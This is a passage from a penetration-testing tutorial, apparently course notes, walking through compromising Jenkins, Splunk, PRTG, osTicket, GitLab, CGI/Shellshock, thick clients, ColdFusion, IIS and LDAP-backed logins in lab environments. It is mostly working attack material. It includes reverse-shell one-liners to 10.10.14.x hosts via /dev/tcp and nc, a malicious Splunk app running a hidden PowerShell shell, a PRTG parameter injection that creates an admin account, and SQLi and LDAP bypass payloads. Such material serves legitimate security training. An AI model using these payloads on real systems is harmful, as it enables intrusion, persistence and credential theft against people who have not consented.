 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 ```
 ```bash
 nc -lvnp 8443     # → uid=0(root)
 ```
 
 **Windows** — `"cmd.exe /c dir".execute()` runs commands; a PowerShell download cradle or a raw Java-socket reverse shell avoids leaving a permanent change (and dodges PowerShell monitoring).
 
 > [!tip] Check misconfig before hunting CVEs
 > The old chained sandbox-bypass RCEs (CVE-2018-1999002 + CVE-2019-1003000) were fixed by the 2.303.1 LTS. Against a modern install, checking whether anonymous users have read/build/job-create rights is usually more productive than a version-specific exploit. Confirm the LTS version first.
 
 ---
 
 ## 7 · Splunk `fas:Terminal` — 8000 (mgmt 8089)
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/splunk.svg" alt="Splunk logo" style="height:44px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Splunk · log analytics / SIEM</span></figcaption>
 </figure>
 
 Splunk has few exploitable CVEs; the risk is weak or absent auth plus built-in functionality. A forgotten Enterprise *trial* silently downgrades to the auth-free *Free* edition after 60 days. Once you have admin — via no auth or weak creds — a custom app with a scripted input runs an arbitrary script on a schedule, as the Splunk service account (often `SYSTEM`/`root`).
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Splunk to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Splunkd httpd<span class="sub">on 8000/8089</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Trial expired → Free</span></div><div class="flow-node">Direct admin, no creds</div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak default</span></div><div class="flow-node">admin:changeme / weak pw</div></div>
       </div>
       <div class="flow-join"></div>
       <div class="flow-rank"><div class="flow-node">Custom app: bin/ script +<span class="sub">default/inputs.conf</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">tar.gz → Install app from file</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Scripted input fires<span class="sub">→ reverse shell</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Shell as Splunk account<span class="sub">(often SYSTEM)</span></div></div>
     </div>
   </div>
 </figure>
 
 **Fingerprint.** Both 8000 and 8089 reporting `Splunkd httpd` is definitive. Try `admin:changeme` (shown on old login pages) and common weak passwords if the trial scenario doesn't apply.
 
 **Build a malicious app.** Two files: the script Splunk runs, and the `inputs.conf` that schedules it (the `interval` field is mandatory — no interval, no execution):
 
 ```ini
 # splunk_shell/default/inputs.conf
 [script://.\bin\run.bat]
 disabled = 0
 sourcetype = shell
 interval = 10
 ```
 ```batch
 :: splunk_shell/bin/run.bat  →  launches a hidden PowerShell reverse shell
 @ECHO OFF
 PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
 Exit
 ```
 
 **Package and upload** — the app enables on upload and fires within `interval` seconds:
 
 ```bash
 tar -cvzf updater.tar.gz splunk_shell/
 sudo nc -lnvp 443
 #  Manage Apps → Install app from file → updater.tar.gz → Upload   →  whoami: nt authority\system
 ```
 
 > [!info] Pivot via a deployment server
 > If the compromised instance is a Splunk *deployment server*, dropping the app in `$SPLUNK_HOME/etc/deployment-apps` pushes it to every Universal Forwarder that checks in — one box becomes RCE across the fleet. Full Splunk ships Python (great for a Linux payload); Universal Forwarders don't, so use PowerShell on a Windows fleet.
 
 ---
 
 ## 8 · PRTG Network Monitor `fas:Terminal` — 8080
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/prtg.svg" alt="PRTG Network Monitor logo" style="height:46px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>PRTG Network Monitor · Paessler</span></figcaption>
 </figure>
 
 PRTG (Paessler, Delphi) is an agentless monitor, rarely internet-facing but common internally (and the HTB box *Netmon*). Default `prtgadmin:prtgadmin` is often pre-filled and unchanged. Once in, CVE-2018-9276 turns a notification's "Execute Program" action into command execution as the PRTG account — frequently local admin.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">PRTG to RCE</span><span class="flow__dir">LR</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="lr">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Indy httpd<span class="sub">(Paessler PRTG)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Login: default/weak creds</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Account Settings → Notifications<span class="sub">→ Add new</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">EXECUTE PROGRAM → outfile.ps1<span class="sub">+ malicious Parameter</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Click Test → command runs</div></div>
     </div>
   </div>
 </figure>
 
 **Fingerprint and version.** `Indy httpd ... Paessler PRTG bandwidth monitor` in the banner is definitive; `17.3.33.2830` predates the 18.2.39 fix:
 
 ```bash
 sudo nmap -sV -p- --open -T4 10.129.201.50
 curl -s "http://10.129.201.50:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
 ```
 
 **Exploit CVE-2018-9276.** The `Parameter` field is concatenated unsanitised into the PowerShell behind `outfile.ps1`, so a `;` chains your own command. It's blind — PRTG gives no feedback:
 
 ```
 Setup → Account Settings → Notifications → Add new notification
 Program File:  Demo exe notification - outfile.ps1
 Parameter:     test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
 Save → Test
 ```
 
 **Confirm out of band** (scheduling instead of Test also gives lightweight persistence):
 
 ```bash
 sudo nxc smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!'     # (Pwn3d!) = local admin over SMB
 ```
 
 > [!tip] CrackMapExec → NetExec
 > `crackmapexec` is superseded by the maintained fork **NetExec (`nxc`)** — same syntax family. On a real test, prefer a reverse shell over adding an account to keep the footprint small.
 
 ---
 
 ## 9 · osTicket `fas:Terminal` — methodology, not a CVE
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/osticket.png" alt="osTicket logo" style="height:46px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>osTicket · support ticketing</span></figcaption>
 </figure>
 
 osTicket is well-maintained with a thin CVE history, so this section is a *pattern* that applies to any helpdesk (Zendesk, Freshdesk, Jira Service Desk): support portals hand out real company email addresses, and the humans running them leak credentials. This is the chain behind HTB's *Delivery*.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">osTicket method</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: OSTSESSID cookie,<span class="sub">'powered by' footer</span></div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Submit a ticket →<span class="sub">get a company email address</span></div><div class="flow-edge"></div><div class="flow-node">Register on other portals<span class="sub">with that address</span></div></div>
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">OSINT breach data (Dehashed)</div><div class="flow-edge"></div><div class="flow-node">Try leaked creds on the portal</div><div class="flow-edge"></div><div class="flow-node">Read closed tickets:<span class="sub">password resets, VPN issues</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reused / new-joiner password<span class="sub">→ spray other services</span></div></div>
       </div>
     </div>
   </div>
 </figure>
 
 **Fingerprint.** Nmap only sees the webserver — the `OSTSESSID` cookie and footer branding identify osTicket.
 
 **Harvest an address.** Submitting a ticket returns a dedicated reply-to address — a valid company email you can use to self-register on other services requiring email verification.
 
 **Cross-reference breach data** against the domain:
 
 ```bash
 sudo python3 dehashed.py -q inlanefreight.local -p
 #  email: kevin@inlanefreight.local · username: kgrimes · password: Fish1ng_s3ason!
 ```
 
 Try both username and email on any login — `kevin@…` succeeded where `kgrimes` failed. Then mine the agent's closed tickets: password resets, VPN troubleshooting, and the classic "standard new-joiner password" sent in plaintext are all fair game. Export the address book as a ready-made spray list (`linkedin2username` helps build one from employee names).
 
 > [!tip] Newer replacements exist
 > Dehashed is the module's reference; `Have I Been Pwned` (API-gated) and `intelx.io` are common complements. Keep every breach-data lookup inside the engagement's rules of engagement.
 
 ---
 
 ## 10 · GitLab `fas:Terminal` — lab port 8081
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/gitlab.svg" alt="GitLab tanuki logo" style="height:54px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>GitLab · self-hosted Git + CI/CD</span></figcaption>
 </figure>
 
 Self-hosted Git with wikis, issues, and CI/CD. Public and internal repos leak hardcoded secrets, SSH keys, and infra clues. GitLab has a long CVE list, but the most reliable finding is usually that self-registration is on, letting you walk in and browse internal projects.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">GitLab method</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: login page, logo</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Browse /explore (public projects)</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Self-registration on?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Register → internal projects</div><div class="flow-branches"><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Mine repos: secrets, keys, config</div></div><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">GitLab CE ≤ 13.10.2:<span class="sub">ExifTool metadata RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as git user</div></div></div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Enumerate users via<span class="sub">'email already taken'</span></div></div>
       </div>
     </div>
   </div>
 </figure>
 
 **Fingerprint and enumerate.** The version only shows on `/help` after login, but `/explore` lists public projects unauthenticated — check it first. Username enumeration works via the registration oracle ("Email has already been taken") even when sign-up is disabled, because `/users/sign_up` stays reachable:
 
 ```bash
 ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
 #  [+] The username root exists!   [+] The username bob exists!
 ```
 
 > [!info] Lockout shapes your brute force
 > GitLab's default is 10 failed attempts, 10-minute auto-unlock, not changeable from the UI (it needs a source rebuild). Pace credential attacks against a discovered user list accordingly. GitLab doesn't even class username enumeration as a bug — but it directly feeds spray lists.
 
 **Register and mine** repos for hardcoded credentials, committed secrets in history, snippets, and stray SSH keys.
 
 **CVE — GitLab CE ≤ 13.10.2 authenticated RCE via ExifTool** (self-registration makes the required creds trivial):
 
 ```bash
 python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
   -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
 nc -lnvp 8443       # → uid=996(git)
 ```
 
 > [!tip] The unauth successor
 > CVE-2021-22205 is an *unauthenticated* ExifTool RCE in a slightly later range and the more commonly cited GitLab bug. GitLab patches fast — always match the exact CE/EE version against current advisories before trusting either.
 
 ---
 
 ## 11 · CGI & Shellshock `fas:Terminal`
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/shellshock.svg" alt="Shellshock vulnerability logo" style="height:76px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Shellshock · CVE-2014-6271 (Bash)</span></figcaption>
 </figure>
 
 CGI is legacy middleware that hands requests to scripts in `cgi-bin`. It's mostly gone from modern servers but lingers on embedded/IoT gear. The classic attack is Shellshock (CVE-2014-6271): vulnerable Bash (≤ 4.3) mis-parses a function definition in an environment variable and runs anything appended after it — and CGI copies HTTP headers into environment variables.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">CGI Shellshock</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Discover cgi-bin scripts</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Test User-Agent header oracle</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Bash bug present?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Chain command after<span class="sub">the function definition</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reverse shell as web user</div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Patched — move on</div></div>
       </div>
     </div>
   </div>
 </figure>
 
 **Understand the bug** — everything after the closing `};` runs on a vulnerable shell:
 
 ```bash
 env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
 #  vulnerable host prints "vulnerable-shellshock" as well
 ```
 
 **Discover a CGI script** (a `200` with zero length still counts — it just produced no output for a GET):
 
 ```bash
 feroxbuster -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi
 #  /access.cgi (200) [Size: 0]
 ```
 
 **Confirm via User-Agent, then shell** — the double `echo ;` gives a clean response separator:
 
 ```bash
 # read a file
 curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' http://10.129.204.231/cgi-bin/access.cgi
 # reverse shell
 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
 sudo nc -lvnp 7777      # → www-data
 ```
 
 `Referer` and `Cookie` can be injection points too — any header CGI turns into an environment variable works.
 
 ---
 
 ## 12 · Thick client applications `fas:Terminal`
 
 Thick (fat) clients run real logic locally — Java/.NET/C++ CRMs, internal utilities, project tools. They dodge browser bugs (XSS, CSRF) but fall to hardcoded credentials, insecure local storage, DLL hijacking, and — for three-tier apps — the same SQLi/path-traversal you'd find on the web, once you reverse the protocol.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Thick client method</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Info gathering:<span class="sub">architecture, language, entry points</span></div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-rank"><div class="flow-node">Static: disassemble/decompile</div><div class="flow-node">Network: Wireshark/Burp<span class="sub">on client↔server traffic</span></div></div><div class="flow-join"></div><div class="flow-node">Patch client logic:<span class="sub">ports, filters, validation</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Exploit server bugs:<span class="sub">SQLi, path traversal</span></div></div>
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Dynamic: ProcMon, debugger,<span class="sub">memory dump</span></div></div>
       </div>
     </div>
   </div>
 </figure>
 
 > [!info] Two-tier vs three-tier
 > **Two-tier**: client talks straight to the DB — the client binary can potentially reach it directly. **Three-tier**: client → app server → DB. Safer by design, but the middle tier becomes attackable with web-style bugs once you reverse its protocol.
 >
 > **Toolkit** — reversing: Ghidra, IDA, dnSpyEx, x64dbg, JADX, JD-GUI, de4dot. Dynamic: Process Monitor, Frida, OllyDbg. Network: Wireshark, tcpdump, Burp (for proxyable TCP).
 
 **Capture a self-cleaning dropper's payload** (the *Restart-Oracle-Service* scenario). The EXE drops a `.bat`, decodes a base64 EXE, runs it, deletes both. Deny delete on the temp folder before re-running so the artefacts survive:
 
 ```
 ProcMon64 → watch %LOCALAPPDATA%\Temp for the dropped file
 Temp → Properties → Security → Advanced → Disable inheritance
       → deselect "Delete subfolders and files" and "Delete"
 Re-run the EXE → the .bat now survives (it base64-decodes oracle.txt → restart-service.exe)
 ```
 
 **Recover hardcoded creds from memory.** In x64dbg, restrict breakpoints to Exit so you land in the app's own code, find an `-RW-` region with an `MZ` header (an in-memory PE hiding from disk AV), and dump it:
 
 ```bash
 strings64.exe .\restart-service_00000000001E0000.bin      # .NETFramework,Version=v4.0
 #  de4dot deobfuscates the dump → dnSpy reads it as near-original C# with creds inline
 ```
 
 **Reverse a client/server app** (*Fatty*, condensed). Patch the hardcoded port in the JAR's Spring config, then strip the JAR's own integrity check so the modified client runs:
 
 ```powershell
 Select-String -Path fatty-client\* -Pattern "8000" -Recurse    # beans.xml <constructor-arg index="1" value="8000"/>
 #  edit the port; delete SHA-256 digests from META-INF/MANIFEST.MF and the .RSA/.SF files; jar -cmf to rebuild
 ```
 
 **Bypass client-side access control (path traversal).** The server strips `/` from folder names, but the *client* decides what to send — decompile and patch it to send `..`:
 
 ```
 JD-GUI → decompile → ClientGuiTest.java: currentFolder = "configs"  →  ".."
 javac -cp fatty-client-new.jar ...\ClientGuiTest.java     # swap only the patched .class into the JAR
 ```
 
 **SQLi in the decompiled server logic.** The username is concatenated into the query; the password is hashed client-side (`SHA-256(user+pass+secret)`), so `' OR '1'='1` fails the hash compare. A UNION injection supplies every column directly, and patching `setPassword()` to send plaintext makes the client value match the injected literal:
 
 ```java
 // server: "SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"
 // login:  qtc' UNION SELECT 1,'abc','a@a','abc','admin      (password: abc)
 ```
 
 > [!tip] Maintained forks
 > `dnSpy` is archived — use **dnSpyEx**. **Ghidra** is a fully viable free IDA alternative for native code; reach for IDA only where its decompiler handles a specific architecture better. **Frida** hooks a suspected function without a full static pass.
 
 ---
 
 ## 13 · ColdFusion `fas:Terminal` — port 8500
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/coldfusion.svg" alt="Adobe ColdFusion logo" style="height:52px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Adobe ColdFusion · CFML app server</span></figcaption>
 </figure>
 
 ColdFusion (CFML, Adobe) is Java-based with a recognisable footprint: `.cfm`/`.cfc` extensions, port 8500 for SSL, and `/CFIDE/administrator/`. Older versions carry a traversal that leaks the encrypted datasource store and an unauth RCE via the bundled FCKeditor.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">ColdFusion to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: 8500, .cfm/.cfc,<span class="sub">/CFIDE/administrator/</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">searchsploit adobe coldfusion</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Version</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 9.0.1</span></div><div class="flow-node">CVE-2010-2861<span class="sub">traversal → password.properties</span></div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 8.0.1</span></div><div class="flow-node">CVE-2009-2265<span class="sub">FCKeditor unauth RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Upload JSP → shell as CF account</div></div>
       </div>
     </div>
   </div>
 </figure>
 
 **Fingerprint** on port 8500 + `CFIDE`/`cfdocs` in the webroot; the admin login often discloses the major version. Then match exploits:
 
 ```bash
 nmap -p- -sC -Pn 10.129.247.30 --open      # 8500/tcp open fmtp
 searchsploit adobe coldfusion
 #  Directory Traversal ............ multiple/remote/14641.py
 #  ColdFusion 8 - RCE ............. cfm/webapps/50057.py
 ```
 
 **CVE-2010-2861 — traversal to leak `password.properties`** (mishandled `locale` param in several bundled `.cfm` files). Values are encrypted, but it's the credential store for every datasource CF connects to:
 
 ```bash
 python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
 #  password=2F635F...  encrypted=true
 ```
 
 **CVE-2009-2265 — unauth RCE via the FCKeditor connector** (`/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm` accepts an arbitrary file upload). The PoC uploads a JSP, triggers it, and cleans up:
 
 ```bash
 python3 50057.py      # generates + uploads JSP payload, catches the shell as the CF service account
 ```
 
 > [!tip] Both CVEs are CF 8/9-era
 > Current ColdFusion (2021/2023) has a very different, hardened surface. Confirm the version from `/CFIDE/administrator` or the `Server` header before assuming either applies; pair `searchsploit` with a manual NVD/vendor check.
 
 ---
 
 ## 14 · IIS tilde (8.3 short-name) enumeration `fas:Terminal`
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/iis.png" alt="Microsoft IIS logo" style="height:52px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Microsoft IIS · Windows web server</span></figcaption>
 </figure>
 
 Windows generates a legacy 8.3 short name for every file (`somefi~1.txt`) for DOS compatibility. Some IIS versions answer tilde-prefixed requests differently depending on whether a prefix matches, so you can rebuild hidden names one character at a time — turning "guess the whole filename" into "guess an 8-char prefix".
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">IIS short-name enum</span><span class="flow__dir">LR</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="lr">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint IIS, check OPTIONS</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">IIS-ShortName-Scanner</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Partial names, e.g. TRANSF~1.ASP</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Build a targeted wordlist<span class="sub">(words starting 'transf')</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Fuzz with extensions →<span class="sub">recover the full name</span></div></div>
     </div>
   </div>
 </figure>
 
 **Fingerprint and scan** (the numeric args tune threads/requests; it reports the working HTTP method and every partial name):
 
 ```bash
 nmap -p- -sV -sC --open 10.129.224.91          # Microsoft IIS httpd 7.5
 java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
 #  Vulnerable! · method: OPTIONS · dirs: ASPNET~1, UPLOAD~1 · files: CSASPX~1.CS, TRANSF~1.ASP
 ```
 
 **Narrow the partial name into a wordlist, then recover the full filename:**
 
 ```bash
 egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
 feroxbuster -u http://10.129.204.231/ -w /tmp/list.txt -t 50 -x aspx,asp
 #  /transfer.aspx (200)
 ```
 
 > [!tip] It's a legacy behaviour
 > Modern IIS/.NET configs often have this disabled. Always let the scanner's own vulnerability check confirm applicability before you spend time building wordlists.
 
 ---
 
 ## 15 · LDAP injection & mass assignment `fas:Terminal`
 
 Two source-driven bug classes. LDAP-backed logins that concatenate input into a filter fall to injection (the LDAP cousin of SQLi). Framework "mass assignment" binds a whole form onto a model, letting you set fields — `admin`, `confirmed` — that were never meant to be user-controllable.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">LDAP injection bypass</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">nmap: ldap/389 beside web/80</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Login likely LDAP-backed</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Inject * into user/pass</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">(&amp;(objectClass=user)(sAMAccountName=*)(userPassword=*))<span class="sub">matches any record</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Auth bypass</div></div>
     </div>
   </div>
 </figure>
 
 > [!info] LDAP vs Active Directory
 > LDAP is a *protocol* for querying directory data; Active Directory is a directory *service* that speaks LDAP (plus Kerberos, DNS, and more). OpenLDAP is the common cross-platform implementation you meet outside pure-Windows shops. Injection metacharacters: `*` (wildcard), `()` (grouping), `&`/`|` (AND/OR) — `(cn=*)` is the `' OR '1'='1` of LDAP.
 
 **Query directly** to understand the schema, then look for `ldap/389` next to a web login (a strong hint the login is LDAP-backed):
 
 ```bash
 ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
   -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"
 nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229     # 389/tcp OpenLDAP
 ```
 
 **Bypass with a wildcard** — `Username: *` / `Password: *` builds a filter that matches any user with a non-empty password.
 
 **Mass assignment.** The vulnerable pattern only checks whether a field *exists* — its value is irrelevant:
 
 ```python
 try:
     if request.form['confirmed']:   # existence check only
         cond = True
 except:
     cond = False
 ```
 ```
 # Burp: add a field the real form never exposes
 POST /register
 username=new&password=test&confirmed=test
 ```
 
 The Rails equivalent (`attr_accessible :username, :email`) breaks the same way — smuggle `admin: true` inside the `user` hash. Modern Rails uses Strong Parameters (`params.require(:user).permit(:username, :email)`), which whitelists — but an over-broad `permit!` re-opens the hole. Fix is always explicit whitelisting, never a blacklist or existence check.
 
 ---
 
 ## 16 · Applications connecting to services `fas:Terminal`
 
 Apps that talk to a backend commonly embed a connection string with live credentials in the compiled binary, not a greppable config file. Recover it from two formats — an ELF in a debugger, a .NET DLL in a decompiler — and test the creds for reuse elsewhere.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Connection-string recovery</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Binary connects to a backend</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Type?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">ELF native</span></div><div class="flow-node">GDB + GEF/PEDA:<span class="sub">breakpoint the connect call</span></div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">.NET assembly</span></div><div class="flow-node">dnSpy: decompile to C#</div></div>
       </div>
       <div class="flow-join"></div>
       <div class="flow-rank"><div class="flow-node">Connection string sits<span class="sub">in a register at the breakpoint</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Reuse creds / password-spray</div></div>
     </div>
   </div>
 </figure>
 
 > [!info] Why not just `strings`?
 > Connection strings are often assembled at runtime from reordered, endianness-reversed fragments, so a flat `strings` pass can miss the finished value. A breakpoint at the actual connect API captures the complete string.
 
 **ELF → MS SQL.** Run it to learn the driver API (`SQLDriverConnect`), disassemble, breakpoint the call, and read the register:
 
 ```bash
 gdb ./octopus_checker
 gdb-peda$ set disassembly-flavor intel
 gdb-peda$ disas main               # find call to SQLDriverConnect@plt
 gdb-peda$ b *0x5555555551b0
 gdb-peda$ run
 #  RDX: "DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;"
 ```
 
 **.NET DLL.** IL decompiles cleanly — triage the metadata, then read the controller in dnSpy:
 
 ```powershell
 Get-FileMetaData .\MultimasterAPI.dll     # .NETFramework v4.6.1 · api/getColleagues
 #  dnSpy → MultimasterAPI.Controllers.ColleagueController → connection string inline
 ```
 
 > [!tip] Maintained tooling
 > **GEF** is the actively maintained GDB extension (successor to PEDA). **dnSpyEx** for .NET. For a fast first pass, `strings` + `binwalk`/`floss` (FLARE Obfuscated String Solver) sometimes recovers runtime-built strings without a debugger.
 
 ---
 
 ## 17 · Other applications & hardening `fas:BookOpen`
 
 The specific apps above are practice material for one transferable method. Applied to anything unfamiliar:
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Unknown-app method</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <svg class="flow-svg" viewBox="0 0 960 600" role="img" aria-label="Unknown app found to a default-creds decision; yes gives admin access, no leads to a known-CVE decision splitting into a public exploit or reading the docs for abusable functionality; all three paths converge on RCE via a deploy, upload or script feature">
       <path class="fedge" d="M450,88 L450,160" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M450,208 L240,280" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M450,208 L660,280" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M660,328 L520,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M660,328 L800,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M240,328 L400,520" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M520,448 L470,520" marker-end="url(#flow-arrow)" />
